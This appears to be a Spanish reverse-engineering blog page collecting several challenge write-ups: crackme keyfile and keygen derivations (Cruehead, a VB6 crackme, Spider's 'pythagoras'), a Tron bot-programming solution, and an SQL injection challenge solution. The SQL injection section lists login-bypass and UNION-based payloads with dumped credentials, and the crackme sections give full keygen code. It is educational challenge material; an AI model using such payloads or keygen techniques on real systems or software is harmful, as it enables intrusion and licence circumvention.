Introducción

Esta es la tercera y última entrega de los crackmes de Cruehead. En esta ocasión nos enfrentamos a un «keyfile«, un archivo llave para que nos entendamos. Tiene un poco más de dificultad que los anteriores pero es ideal para los que empiezan.

El algoritmo

Si iniciamos el crackme no pasa nada, lo único que vemos es la palabra «UNCRACKED» en el título. Abrimos el crackme con Olly y empezamos. En las «string references» vemos el nombre del archivo llave «crackme3.key«. Lo creamos y escribimos el serial 12345678 y empezamos a tracear.

El CMP EAX,-1 significa que está comprobando que el archivo no esté vacio, como no es nuestro caso continuamos.

07-09-2014 13-02-12

A continuación vemos que compara nuestra longitud de serial con 0x12 (18 en decimal). Nuestro serial tiene 8 dígitos así que nos tira fuera.

07-09-2014 13-07-59

Escribimos en el archivo llave el serial «deurus123456789012» y volvemos a tracear. Vemos que ahora si pasa los filtros iniciales y llegamos a la primera zona interesante. En la imágen está explicado pero os hago un resumen. En el bucle lo que hace es un XOR a los primeros 14 dígitos de nuestro serial con los valores del 41 al 4E (4F finaliza). El bucle solo se rompe si llegamos a 4F o si el resultado del XOR da 0. Además en EAX acumula la suma del resultado del XOR.

07-09-2014 17-13-57

Ejemplo:

d  e  u  r  u  s  1  2  3  4  5  6  7  8  9  0  1  2
64 65 75 72 75 73 31 32 33 34 35 36 37 38
                                          XOR
41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E
-----------------------------------------
25 27 36 36 30 35 76 7A 7A 7E 7E 7A 7A 76 = 4ED (Suma)

A continuación hace XOR entre 12345678 y 4ED, coge los 4 últimos dígitos de nuestro serial y los compara.

07-09-2014 17-23-45

Ejemplo:

12345678 XOR 4ED = 12345295
Compara 12345295 con 32313039
32313039 = 2109, nuestros 4 últimos dígitos al revés. Recordemos que nuestro serial era "deurus123456789012"

 El serial bueno para el nombre deurus12345678 serían los bytes correspondientes de «12345295», es decir, nuestro serial bueno sería:

Ejemplo:

Necesitamos 12345295 para la comparación.
12 34 52 95 hexadecimal
18 52 82 149 decimal
Tenemos que escribirlo al revés. Con Alt-Izq + 149 escribimos el primer caracter, el resto igual.
Nuestro serial quedaría: deurus12345678òR4↕

Metemos el serial y vemos que lo acepta pero que nos muestra un nombre extraño. Esto es por que nos está mostrando los bytes del nombre xoreados, tendremos que hacer un XOR antes al nombre que queramos para que lo muestre correctamente.

07-09-2014 18-15-19

Recapitulando

Con lo que sabemos ahora hay que empezar a coger el toro por los cuernos. Lo primero que queremos que muestre el nombre deurus y no deurus12345678. Para ello debemos cortar el bucle y eso solo lo podemos hacer forzando que el resultado del XOR sea 0. Ok pues para deurus el siguiente valor de BL, es decir el séptimo, en el bucle sería 47 lo que corresponde a la letra G. Pues si ponemos de serial deurusGxxxxxxxxxxx ya tendríamos la primera parte solucionada.

Pero recordemos que necesitamos XORear el nombre inicialmente, luego debemos escribir  el resultado del XOR.

Ejemplo:

d  e  u  r  u  s  
64 65 75 72 75 73
                  XOR
41 42 43 44 45 46
-----------------
25 27 36 36 30 35

25 27 36 36 30 35 ----- debemos meter esto en el archivo llave.
                  XOR
41 42 43 44 45 46
-----------------
64 65 75 72 75 73 ----- Al desencriptarlo el bucle se verá nuestro nombre correctamente.

En el archivo llave escribiriamos: %'6605

Ahora nos faltaría calcular el nuevo SUM. Como el resultado del XOR ahora es nuestro nombre, basta con sumar sus valores ascii (64+65+75+72+75+73 == 0x298)

0x12345678 XOR 0x298 == 0x123454E0

Luego nuestros 4 últimos dígitos deben ser lo correspondiente a los bytes E0, 54, 34, 12. Los pasamos a decimal y los escribimos en el archivo llave con el truco del ALT-Izq que hemos comentado antes.

El contenido final del archivo llave para el nombre deurus sería:

%’6605GxxxxxxxÓT4↕

07-09-2014 16-55-15

Aquí vemos el archivo llave normal.

keyfiletext

Y aquí lo vemos con un editor hexadecimal. Como veis se ven claramente los bytes E0, 54, 34, 12.

keyfilehex

Os dejo un keygen hecho en .Net para que probéis. Os genera el contenido del archivo y el archivo «crackme3.key».

keygen

Links


Intro Hoy vamos a hacer algo diferente, vamos a hacer un keygen con la propia víctima. El término anglosajón para
Hoy en día, la descarga de contenido multimedia de ciertas webs es imposible o muy difícil. En ciertos casos lo
Intro Se suele decir que para cada problema hay una solución. Si esto lo llevamos al terreno stego podemos decir
Introducción Continuamos con la segunda entrega de Cruehead. En este caso nos encontramos con un único campo de contraseña para

Introducción

Hace tiempo que me aficioné a los retos de Hacking y Cracking, y si bien la mayoría de ellos consisten en desencriptar una clave o realizar ingeniería inversa sobre un ejecutable, también los hay sobre programación pura y dura.

En esta ocasión se nos proporciona un código «muestra» parecido a PHP o C++ y tenemos que ingeniarnoslas para mejorarlo y ganar a la máquina.

Objetivo del juego y normas

El objetivo de esta misión es ganar a Tr0n en su propio juego: las carreras de motos. Se te proporcionará un programa (código) funcional para que veas como se controla el vehiculo. Usando tu inteligencia, tendrás que entender su uso y mejorarlo, ya que no es lo suficientemente bueno como para ganar a Tr0n. Tr0n lleva ya bastante tiempo en la parrilla de juegos y es bastante habilidoso 🙂

Cuando venzas a Tr0n un mínimo de 5 veces consecutivas, se te dará por superada esta prueba.

Buena suerte!!!

[ Available functions / Funciones disponibles ]
direction() returns current direction, change to a new one with direction([newdir])
getX(), getY() returns X and Y coordinates
collisionDistance() | collisionDistance([anydir]) returns the distance until collision
Note: parameters [*dir] can be empty or one of this values: UP DOWN LEFT or RIGHT

[ Constants / Constantes ]
UP DOWN LEFT RIGHT MAX_X MAX_Y

[ Rules / Reglas ]
Try to survive driving your bike and … / Intenta sobrevivir conduciendo tu moto y…
Don’t cross any line / No cruces ninguna línea
or crash with the corners! / o choques con las esquinas!

[ Mission / Mision ]
Use well this controller and beat Tr0n 5 consecutive times to score in this game
Usa bien este controlador y vence a Tr0n 5 veces consecutivas para puntuar en este juego

Código inicial

Nada más comenzar vemos que hemos perdido nuestra primera partida con el siguiente código:

	function controller(playerController $c){
		if($c->direction()==UP && $c->getY()<10){
			if(rand(0,1)==0) $c->direction(LEFT);
				else $c->direction(RIGHT);
			goto done;
		}
		if($c->direction()==DOWN && MAX_Y-$c->getY()<10){
			if(rand(0,1)==0) $c->direction(LEFT);
				else $c->direction(RIGHT);
			goto done;
		}
		if($c->direction()==LEFT && $c->getX()<10){
			if(rand(0,1)==0) $c->direction(UP);
				else $c->direction(DOWN);
			goto done;
		}
		if($c->direction()==RIGHT && MAX_X-$c->getX()<10){
			if(rand(0,1)==0) $c->direction(UP);
				else $c->direction(DOWN);
		}
		done:
	}

Nosotros somos el AZUL y la máquina es el VERDE.

loose_inicial

Primeras modificaciones

Lo primero que tenemos que modificar son las distancias de las coordenadas que estan puestas en «<10» al mínimo, que sería «<2«. También sustituir la aleatoriedad «rand(0,1)==0» por algo más útil y comenzar a usar la función «collisionDistance()«.

Como podéis observar en el código inferior, usamos la función «collisionDistance()» para detectar cuando estamos a punto de chocar «collisionDistance() ==1» y para detectar a que lado nos conviene más girar en función de donde podamos recorrer más distancia «if($c->collisionDistance([LEFT]) >2) $c->direction(LEFT); else $c->direction(RIGHT);«.

if($c->direction()==UP && $c->getY()==1 && $c->collisionDistance() ==1){
			if($c->collisionDistance([LEFT]) >2) $c->direction(LEFT);
				else $c->direction(RIGHT);
		}
if($c->direction()==DOWN && MAX_Y-$c->getY()<2 || $c->collisionDistance() ==1){
			if($c->collisionDistance([LEFT]) >2) $c->direction(LEFT);
				else $c->direction(RIGHT);
		}
if($c->direction()==LEFT && $c->getX()==1 && $c->collisionDistance() ==1){
			if($c->collisionDistance([UP]) >2) 
                                $c->direction(UP);
				else 
                                $c->direction(DOWN);
		}
if($c->direction()==RIGHT && MAX_X-$c->getX()<2 || $c->collisionDistance() ==1){
			if($c->collisionDistance([UP]) >2) $c->direction(UP);
				else $c->direction(DOWN);
				
		}

Terminando la faena

El código anterior de por sí no nos resuelve mucho si no afinamos un poco más, comprobando todos las posibles colisiones y tomando la dirección correcta en función de la mayor distancia a recorrer.

    if($c->collisionDistance([UP])==1 || $c->collisionDistance() ==1){
             if($c->collisionDistance([LEFT]) > $c->collisionDistance([RIGHT]))
               $c->direction(LEFT);
             else 
               $c->direction(RIGHT);
     }
     if($c->collisionDistance([DOWN])==1 || $c->collisionDistance() ==1){
            if($c->collisionDistance([LEFT]) > $c->collisionDistance([RIGHT]))
               $c->direction(LEFT);
             else 
               $c->direction(RIGHT);
     }
     if($c->collisionDistance([RIGHT])==1 || $c->collisionDistance() ==1){
             if($c->collisionDistance([UP]) > $c->collisionDistance([DOWN]))
               $c->direction(UP);
             else 
               $c->direction(DOWN);
     }
     if($c->collisionDistance([LEFT])==1 || $c->collisionDistance() ==1){
          if($c->collisionDistance([UP]) > $c->collisionDistance([DOWN]))
               $c->direction(UP);
             else 
               $c->direction(DOWN);
     }

Código ganador

El código que utilicé yo para ganar a Tron es el siguiente:

function controller(playerController $c){
uno:
if($c->direction()==UP && $c->getY()==1 && $c->collisionDistance() ==1){
			if($c->collisionDistance([LEFT]) >2) $c->direction(LEFT);
				else $c->direction(RIGHT);
				
		}
if($c->direction()==DOWN && MAX_Y-$c->getY()<2 || $c->collisionDistance() ==1){
			if($c->collisionDistance([LEFT]) >2) $c->direction(LEFT);
				else $c->direction(RIGHT);
				
		}
if($c->direction()==LEFT && $c->getX()==1 && $c->collisionDistance() ==1){
			if($c->collisionDistance([UP]) >2) 
                                $c->direction(UP);
				else 
                                $c->direction(DOWN);
				
		}
if($c->direction()==RIGHT && MAX_X-$c->getX()<2 || $c->collisionDistance() ==1){
			if($c->collisionDistance([UP]) >2) $c->direction(UP);
				else $c->direction(DOWN);
				
		}
dos:
    if($c->collisionDistance([UP])==1 || $c->collisionDistance() ==1){
             if($c->collisionDistance([LEFT]) > $c->collisionDistance([RIGHT]))
               $c->direction(LEFT);
             else 
               $c->direction(RIGHT);
     }
     if($c->collisionDistance([DOWN])==1 || $c->collisionDistance() ==1){
            if($c->collisionDistance([LEFT]) > $c->collisionDistance([RIGHT]))
               $c->direction(LEFT);
             else 
               $c->direction(RIGHT);
     }
     if($c->collisionDistance([RIGHT])==1 || $c->collisionDistance() ==1){
             if($c->collisionDistance([UP]) > $c->collisionDistance([DOWN]))
               $c->direction(UP);
             else 
               $c->direction(DOWN);
     }
     if($c->collisionDistance([LEFT])==1 || $c->collisionDistance() ==1){
          if($c->collisionDistance([UP]) > $c->collisionDistance([DOWN]))
               $c->direction(UP);
             else 
               $c->direction(DOWN);
     }
		done:
	}

Mis jugadas ganadoras:

01

02

03

04

05

El código no es infalible ya que como comprabaréis vosotros mismos, no se puede ganar siempre por el mero hecho de la aleatoriedad y de la suerte. Cuando dispongais de un código decente, ejecutarlo varias veces para estar seguros antes de desecharlo.

Curiosidades

Como se suele decir, la banca siempre gana, y en este caso no iba a ser menos y es que en caso de empate ¡la banca gana!

empate

 

Por último deciros que podéis utilizar el código ya que la web detecta los códigos ganadores para que no se repitan.

Enlaces

Introducción

Hoy tenemos aquí un crackme hecho en Visual Basic 6 (pcode), pero lo vamos a abordar de una manera diferente, ya que, vamos a conseguir el código fuente mediante VB Decompiler, le vamos a hacer una serie de modificaciones para hacerlo funcional con la ayuda de ExDec, y a partir de eso vamos a generar nuestro propio keygen.

El funcionamiento del crackme es simple, tenemos una primera caja de texto «Code» que en función de lo que introduzcamos nos activa el botón «OK». Al pulsar el botón comprueba lo que tengamos en la caja de texto «Serial» para haber si está todo correcto.

Obteniendo el código fuente

Abrimos el crackme con VB Decompiler y vemos sus fauces.

29-08-2014 20-30-08

Pinchando en cada parte obtenemos su respectivo código fuente.

El botón OK

Private Sub Command1_Click() '402F70
  'Data Table: 402724
  Dim ourserial As Variant
   ourserial = CVar(Me.SERIAL.Text) 'String
   If (ourserial = cript(Left$(Me.CODE.Text, &HA))) Then
     MsgBox "Great", 0, ourserial
     End
   End If
   Dim x As String
   x = cript(Left$(Me.CODE.Text, &HA))
   MsgBox "Not Completed - " & x, 0, ourserial
   Me.CODE.Text = ""
   Me.SERIAL.Text = ""
   Exit Sub
End Sub

El evento KeyUp

Private Sub CODE_KeyUp(KeyCode As Integer, Shift As Integer)
  'Data Table: 402724
   If (Len(Me.CODE.Text) > 4) Then
     ourserialsum = checkcode(Me.CODE.Text)
     If CBool((ourserialsum > 70) And (ourserialsum < 90)) Then
       Me.Command1.Enabled = True
     End If
   End If
   Exit Sub
End Sub

La función cript

Public Function cript(a) 
  'Data Table: 402724
  Dim var_9C As Long
   var_98 = CStr(UCase(a))
   For var_10C = 1 To CVar(Len(var_98)): var_CC = var_10C 'Variant
     var_9C = CLng((CVar(var_9C) + (CVar((Asc(Mid$(var_98, CLng(var_CC), 1)) - 9) Xor &H58) + var_CC) ^ 2))
   Next var_10C 'Variant
  For var_160 = 1 To 100: var_140 = var_160 
     If (Mid$(CVar(Me.CODE.Text), CLng(var_140), 1) = vbNullString) Then
      GoTo loc_4030C0
     End If
   Next var_160 
loc_4030C0:
   var_9C = CLng(((CVar(var_9C) * Int((var_140 / 2))) * 16))
   var_94 = Hex(var_9C) 'Variant
   cript = var_94
End Function

La función checkcode

Public Function checkcode(a) 
   For var_F4 = 1 To CVar(Len(a)): var_A4 = var_F4
     var_128 = var_128 + (CVar(Asc(Mid$(a, CLng(var_A4), 1))))
   Next var_F4
   var_94 = Int(((var_128 / CVar(Len(a) / CVar(Len(a)))))
   checkcode = var_94
End Function

La rutina de comprobación del serial

Se compone de dos partes, el código y el serial.

El código

Si el resultado de la función checkcode está entre 70 y 90 nos activa el botón OK.

El serial

Lo genera la función cript en función del código anterior.

Arreglando el código fuente

Con lo obtenido anteriormente podemos entender perfectamente el comportamiento de la comprobación del serial pero si los cargamos en Visual Basic 6 y lo intentamos ejecutar tal cual nos dará una serie de errores. Es aquí cuando entra ExDec, ya que, nos proporciona el desensamblado del programa en forma de Opcode para poder comparar con el código obtenido.

29-08-2014 22-49-22

En este caso el único problema se encuentra en la función checkcode en concreto en ésta línea:

var_94 = Int(((var_128 / CVar(Len(a) / CVar(Len(a)))))

El problema está en que divide dos veces entre el número de dígitos de a, si lo analizamos vemos que es imposible ya que nunca nos daría un código entre 70 y 90. La corrección queda así:

var_94 = Int(((var_128 / CVar(Len(a)))))

El KeyGen

Finalmente el código fuente de nuestro keygen quedaría así:

Private Sub Command1_Click() 'Generate CODE
  Dim CODE As String
  Dim var As Integer
  Randomize
  var = CLng((0 - 9999) * Rnd + 9999)
  Me.CODE.Text = "deurus" & var
  codesum = checkcode(Me.CODE.Text)
  If CBool((codesum > 70) And (codesum < 90)) Then
       lbl.Caption = "Code valid, now generate a serial"
       Command2.Enabled = True
  Else
       Command2.Enabled = False
       Command1_Click
  End If
End Sub

Private Sub Command2_Click() 'Generate SERIAL
   If (Len(Me.CODE.Text) > 4) Then
     codesum = checkcode(Me.CODE.Text)
     If CBool((codesum > 70) And (codesum < 90)) Then
       SERIAL.Text = cript(Left$(Me.CODE.Text, 10))
       Else
       lbl.Caption = "Code not valid, first gen code"
     End If
   End If
End Sub

Private Sub CODE_KeyUp(KeyCode As Integer, Shift As Integer)
   If (Len(Me.CODE.Text) > 4) Then
     var_B0 = checkcode(Me.CODE.Text)
     lbl.Caption = "Value must be between 70 - 90. Yours: " & var_B0
     If CBool((var_B0 > 70) And (var_B0 < 90)) Then
       lbl.Caption = "Code valid, now generate a serial"
       Command2.Enabled = True
       Else
       Command2.Enabled = False
     End If
   End If
   Exit Sub
End Sub

Public Function cript(a)
  Dim var_9C As Long
   var_98 = CStr(UCase(a))
   For var_10C = 1 To CVar(Len(var_98)): var_CC = var_10C
     var_9C = CLng((CVar(var_9C) + (CVar((Asc(Mid$(var_98, CLng(var_CC), 1)) - 9) Xor &H58) + var_CC) ^ 2))
   Next var_10C
  For var_160 = 1 To 100: var_140 = var_160
     If (Mid$(CVar(Me.CODE.Text), CLng(var_140), 1) = vbNullString) Then
      GoTo loc_4030C0
     End If
   Next var_160
loc_4030C0:
   var_9C = CLng(((CVar(var_9C) * Int((var_140 / 2))) * 16))
   var_94 = Hex(var_9C)
   cript = var_94
End Function

Public Function checkcode(a)
   For var_F4 = 1 To CVar(Len(a)): var_A4 = var_F4
   'Suma el valor ascii de todos los caracteres / Add the ascii value of our code
     var_128 = var_128 + (CVar(Asc(Mid$(a, CLng(var_A4), 1))))
   Next var_F4
   'Lo divide entre la longitud del code / Divide our codesum by code lenght
   var_94 = Int(((var_128 / CVar(Len(a))))) 'corrección
   checkcode = var_94
End Function

29-08-2014 20-28-53

En crackmes.de podéis conseguir el crackme y el keygen.

Links


Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
Introducción Hoy tenemos aquí un bonito crackme matemático realizado por Spider. El crackme está realizado en ensamblador y precisamente por
En esta ocasión vamos a hablar de una película de culto de los años 90, Hackers - Piratas Informáticos. La

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

 Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1

Seguido tenemos la pregunta de seguridad.

Introducimos cualquier cosa y nos muestra el siguiente error.

El error nombra la tabla «security«, luego la usaremos.

Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.

Inyección SQL Avanzada

Para inyectar a continuación meter cualquier nombre y la inyección en el password.

  • Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
  • Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
  • Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
  •  Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
  • Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password

Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.

  • Obtener ID, name, password para los usuarios con ID = 1,2,3,4
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
  •  Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users

 Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.

Links

Introducción

Hoy tenemos aquí un bonito crackme matemático realizado por Spider. El crackme está realizado en ensamblador y precisamente por eso, vamos a tener que lidiar con ciertas peculiaridades al realizar el keygen con un lenguaje de bajo nivel.

Al inicio comprueba la longitud del nombre y de el número de serie. El nombre debe tener al menos 6 caracteres y el número de serie debe tener 10. Os adelanto ya que la asignación de memoria del nombre es de 9 caracteres, es decir, da igual la longitud del nombre que solo va a usar 9.

004014AD | E8 1A 02 00 00           | call <pythagoras.GetWindowTextA>        | ;Lee el nombre
004014B2 | 83 F8 06                 | cmp eax,6                               | ;Nombre >=6 caracteres
004014B5 | 0F 82 03 01 00 00        | jb pythagoras.4015BE                    |
004014BB | 6A 14                    | push 14                                 |
004014BD | 68 D9 31 40 00           | push pythagoras.4031D9                  | ;004031D9:"1234567890"
004014C2 | FF 35 10 32 40 00        | push dword ptr ds:[403210]              |
004014C8 | E8 FF 01 00 00           | call <pythagoras.GetWindowTextA>        | ;Lee el serial
004014CD | 83 F8 0A                 | cmp eax,A                               | ;Serial debe tener 10 (A) caracteres
004014D0 | 0F 85 E8 00 00 00        | jne pythagoras.4015BE                   |

Sabiendo esto introducimos Nombre: deurus y Serial: 1234567890

A continuación chequea que nuestro serial tenga caracteres hexadecimales.

004014DA | 8A 81 D9 31 40 00        | mov al,byte ptr ds:[ecx+4031D9]         | ; ecx+004031D9:"1234567890"
004014E0 | 3C 00                    | cmp al,0                                | ; contador del bucle
004014E2 | 74 1F                    | je pythagoras.401503                    | ; fin del bucle
004014E4 | 3C 30                    | cmp al,30                               | ; 0x30 = número 1
004014E6 | 0F 82 D2 00 00 00        | jb pythagoras.4015BE                    | ; < 30 bad boy
004014EC | 3C 46                    | cmp al,46                               | ; 0x46 = letra F
004014EE | 0F 87 CA 00 00 00        | ja pythagoras.4015BE                    | ; > 46 bad boy
004014F4 | 3C 39                    | cmp al,39                               | ; 0x39 = número 9
004014F6 | 76 08                    | jbe pythagoras.401500                   | ; <=39 ok continua el bucle
004014F8 | 3C 41                    | cmp al,41                               | ; 0x41 = letra A
004014FA | 0F 82 BE 00 00 00        | jb pythagoras.4015BE                    | ; <41 bad boy
00401500 | 41                       | inc ecx                                 | ; contador += 1
00401501 | EB D7                    | jmp pythagoras.4014DA                   | ; bucle

Continua realizando un sumatorio con nuestro nombre, pero tenemos que tener especial cuidado al tratamiento de los datos, ya que el crackme al estar hecho en ensamblador puede jugar con los registros como quiere y eso nos puede inducir a error.

0040150B | 3C 00                    | cmp al,0                                | ; ¿Fin bucle?
0040150D | 74 05                    | je pythagoras.401514                    | ; Salta fuera del bucle si procede
0040150F | 02 D8                    | add bl,al                               | ; bl = bl + al
00401511 | 41                       | inc ecx                                 | ; contador +=1
00401512 | EB F1                    | jmp pythagoras.401505                   | ; bucle

Si os fijáis utiliza registros de 8 bits como son AL y BL. Debajo os dejo una explicación de EAX pero para EBX es lo mismo.

               EAX
-----------------------------------
                         AX
                  -----------------
                     AH       AL
                  -------- --------
00000000 00000000 00000000 00000000
 (8bit)   (8bit)   (8bit)   (8bit)
 

  EAX     (32 bit)
--------
     AX   (16 bit)
    ----
    AHAL  (AH y AL 8 bit)
--------
00000000

El uso de registros de 8 bits nos implica tomar precauciones al realizar el Keygen debido a que por ejemplo, en .Net no tenemos la capacidad de decirle que haga una suma y que nos devuelva solamente 8 bits del resultado. Veamos como ejemplo para el nombre «deurus». La suma de los caracteres hexadecimales quedaría:

64+65+75+72+75+73 = 298, es decir, EAX = 00000298

Pero recordad que el crackme solo cogerá el 98 que es lo correspondiente al registro AL. De momento nos quedamos con nuestro SUMNOMBRE = 98.

Primera condición

A continuación coge los dos primeros caracteres del serial y les resta nuestro SUMNOMBRE y comprueba que el resultado esté entre 4 (0x4) y -4 (0xFC).

0040154B | 0F B6 05 F3 31 40 00     | movzx eax,byte ptr ds:[4031F3]          |
00401552 | 8A C8                    | mov cl,al                               |
00401554 | 2A CB                    | sub cl,bl                               | ; CL = CL - BL | CL = 12 - 98 = 7A
00401556 | 80 F9 04                 | cmp cl,4                                | ; Compara CL con 4
00401559 | 7F 63                    | jg pythagoras.4015BE                    | ; Salta si es mayor
0040155B | 80 F9 FC                 | cmp cl,FC                               | ; Compara CL con FC (-4)
0040155E | 7C 5E                    | jl pythagoras.4015BE                    | ; Salta si es menor

Como veis, el resultado de la resta da 7A (122) que al ser mayor que 4 nos echa vilmente. Aquí de nuevo utiliza registros de 8 bits por lo que debemos tener cuidado con las operaciones matemáticas para no cometer errores, veamos un ejemplo para clarificar de aquí en adelante.

Utilizando 8 bits
-----------------
12 - 98 = 7A que en decimal es 122

Utilizando 16 bits
------------------
0012 - 0098 = FF7A que en decimal es -134

Ahora ya veis la diferencia entre FC (252) y FFFC (-4). Estrictamente, el crackme comprueba el rango entre 4 (4) y FC (122) al trabajar con registros de 8 bits pero nosotros, como veremos más adelante tomaremos el rango entre 4 y -4. De momento, para poder continuar depurando cambiamos los dos primeros caracteres del serial de 12 a 98, ya que 98 – 98 = 0 y cumple la condición anterior.

Introducimos Nombre: deurus y Serial: 9834567890

Segunda condición

Analicemos el siguiente código.

00401560 | F7 E0                    | mul eax                                 | ; EAX = EAX * EAX
00401562 | 8B D8                    | mov ebx,eax                             | ; EBX = EAX
00401564 | 0F B7 05 F4 31 40 00     | movzx eax,word ptr ds:[4031F4]          | ; EAX = 3456 (4 dígitos siguientes del serial)
0040156B | F7 E0                    | mul eax                                 | ; EAX = EAX * EAX
0040156D | 03 D8                    | add ebx,eax                             | ; EBX = EBX + EAX
0040156F | 0F B7 05 F6 31 40 00     | movzx eax,word ptr ds:[4031F6]          | ; EAX = 7890 (4 últimos dígitos del serial)
00401576 | F7 E0                    | mul eax                                 | ; EAX = EAX * EAX
00401578 | 33 C3                    | xor eax,ebx                             | ; EAX
0040157A | 75 42                    | jne pythagoras.4015BE                   | ; Salta si el flag ZF no se activa

En resumen:

  • 98 * 98 = 5A40 (98²)
  • 3456 * 3456 = 0AB30CE4 (3456²)
  • 0AB36724 + 5A40 = 0AB36724
  • 7890 * 7890 = 38C75100 (7890²)
  • 38C75100 XOR 0AB36724 = 32743624
  • Si el resultado del XOR no es cero nuestro serial no pasa la comprobación.

Es decir, Pitágoras entra en escena -> 7890² = 98² + 3456²

Serial = aabbbbcccc

Tercera condición

Finalmente comprueba lo siguiente:

0040157C | 66 A1 F6 31 40 00        | mov ax,word ptr ds:[4031F6]             | ; AX = 7890
00401582 | 66 2B 05 F4 31 40 00     | sub ax,word ptr ds:[4031F4]             | ; AX = 7890 - 3456 = 443A
00401589 | 2C 08                    | sub al,8                                | ; AL = 3A - 8 = 32
0040158B | 75 31                    | jne pythagoras.4015BE                   | ; Si el resultado de la resta no ha sido cero, serial no válido
0040158D | 6A 30                    | push 30                                 |
0040158F | 68 B0 31 40 00           | push pythagoras.4031B0                  | ;004031B0:":-) Well done!!!"
00401594 | 68 7F 31 40 00           | push pythagoras.40317F                  | ;0040317F:"Bravo, hai trovato il seriale di questo CrackMe!"
00401599 | FF 75 08                 | push dword ptr ds:[ebp+8]               |

En resumen:

  • 7890 – 3456 – 8 = 0

Creación del Keygen

Nuestro serial tiene que cumplir tres condiciones para ser válido.

  • a – SUMNOMBRE debe estar entre 4 y -4
  • c² = a² + b²
  • c – b – 8 = 0

Como hemos dicho anteriormente, tomaremos el SUMNOMBRE y le sumaremos y restaremos valores siempre y cuando el resultado esté entre 4 y -4. Para deurus hemos dicho que el SUMNOMBRE es 98 por lo que los posibles valores de «a» se pueden ver debajo. Además debemos tener en cuenta que el crackme solo lee los 9 primeros dígitos del nombre.

98-4 = 94		
98-3 = 95		
98-2 = 96		
98-1 = 97		
98-0 = 98		
98+1 = 99		
98+2 = 9A		
98+3 = 9B		
98+4 = 9C

Es evidente que para encontrar el valor de «c» vamos a tener que utilizar fuerza bruta chequeando todos los valores  de «b» comprendidos entre 0 y FFFF (65535). Además, como trabajaremos en un lenguaje de alto nivel, debemos descartar los resultados decimales. Esto nos limitará los seriales válidos asociados a un determinado nombre. Si realizáramos el keygen en ensamblador obtendríamos bastantes más seriales válidos.

Una vez encontrados los valores enteros de la operación «c² = a² + b²», se debe cumplir que «c – b – 8 = 0», lo que nos limitará bastante los resultados.

    Private Sub btn_generar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btn_generar.Click
        Try
            If txt_nombre.TextLength > 5 Then
                lst_serials.Items.Clear()
                Dim tmp, c, cx As String
                Dim sumanombre, tmp2 As Integer
                If txt_nombre.TextLength > 9 Then tmp2 = 8 Else tmp2 = txt_nombre.TextLength - 1
                'Calculo el SUMNOMBRE
                For i = 0 To tmp2
                    sumanombre += Asc(Mid(txt_nombre.Text, i + 1, 1)) 'Acumulo suma
                    tmp = Strings.Right(Hex(sumanombre).ToString, 2)  'Solo 8 bits (Registro AL)
                    sumanombre = Val("&H" & tmp) 'Paso a decimal
                Next
                tmp = Strings.Right(Hex(sumanombre).ToString, 2)
                sumanombre = CInt("&H" & tmp)
                txtdebug.Text = "- SumNombre = " & Hex(sumanombre) & vbCrLf
                txtdebug.Text &= "----------------------------------------------" & vbCrLf
                Dim a(8) As Integer
                '
                'a - sumanombre >=4 y <=4
                '
                a(0) = sumanombre - 4
                a(1) = sumanombre - 3
                a(2) = sumanombre - 2
                a(3) = sumanombre - 1
                a(4) = sumanombre
                a(5) = sumanombre + 1
                a(6) = sumanombre + 2
                a(7) = sumanombre + 3
                a(8) = sumanombre + 4
                txtdebug.Text &= "- Posibles valores de 'a'" & vbCrLf
                For i = 0 To a.Length - 1
                    txtdebug.Text &= Hex(a(i)) & " "
                Next
                txtdebug.Text &= "----------------------------------------------" & vbCrLf
